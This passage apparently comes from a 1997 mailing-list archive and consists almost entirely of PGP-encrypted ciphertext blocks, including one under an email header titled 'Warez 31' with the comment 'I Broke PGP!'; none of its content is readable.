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
nH4peRS6Eg==
=qxVy
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 04:36:19 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 20:36:19 +0800
Subject: Warez 31
Message-ID: <199712181227.GAA25648@harrier.sasknet.sk.ca>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
